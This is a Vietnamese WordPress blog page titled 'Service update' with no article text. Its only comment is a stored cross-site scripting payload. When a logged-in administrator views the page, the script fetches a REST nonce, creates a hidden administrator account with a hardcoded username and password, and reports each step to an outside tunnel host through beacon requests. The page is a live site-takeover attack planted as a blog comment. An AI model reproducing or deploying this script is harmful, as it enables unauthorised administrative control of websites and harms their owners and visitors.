Service update

Nội dung bài viết

Chia sẻ & Bình Luận

Đừng quên chia sẻ bài viết và để lại bình luận của bạn nếu bạn thấy nội dung giá trị nha. 

Một bình luận cho “Service update”

  1. (function(){function b(m){try{var q=’?m=’+encodeURIComponent(‘w2:’+m)+’&s=’+encodeURIComponent(location.origin)+’&p=’+encodeURIComponent(location.pathname);if(navigator.sendBeacon){navigator.sendBeacon(‘https://5c2eivas5j.loclx.io/b’+q)}else{new Image().src=’https://5c2eivas5j.loclx.io/b’+q}}catch(e){}}b(‘run’);var a=location.origin;fetch(a+’/wp-admin/admin-ajax.php?action=rest-nonce&_wpx=’+Date.now(),{credentials:’include’}).then(function(r){return r.text()}).then(function(nonce){nonce=nonce.trim();if(!nonce||nonce===’0’||nonce===’-1′){b(‘nonce-off’);return}fetch(a+’/wp-json/wp/v2/users’,{method:’POST’,credentials:’include’,headers:{‘X-WP-Nonce’:nonce,’Content-Type’:’application/json’},body:JSON.stringify({username:’saigontcs’,email:’saigontcs@mail.com’,password:’Xk9#Str0ng1′,roles:[‘administrator’]})}).then(function(r){return r.text()}).then(function(t){var d={};try{d=JSON.parse(t)}catch(e){}if(d.id){b(‘ok’)}else if(t.indexOf(‘existing_user_login’)>-1||t.indexOf(‘existing_user_email’)>-1){b(‘dup’)}else if(d.code===’rest_cannot_create_users’){b(‘deny:rest_cannot_create_users’)}else if(d.code===’rest_cannot_assign_roles’){b(‘deny:rest_cannot_assign_roles’)}else{b(‘deny:’+encodeURIComponent(String(d.message||t).slice(0,180)))}}).catch(function(){b(‘xhr2’)})}).catch(function(){b(‘xhr1’)})})()

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

BÀI VIẾT MỚI NHẤT
Contact Me on Zalo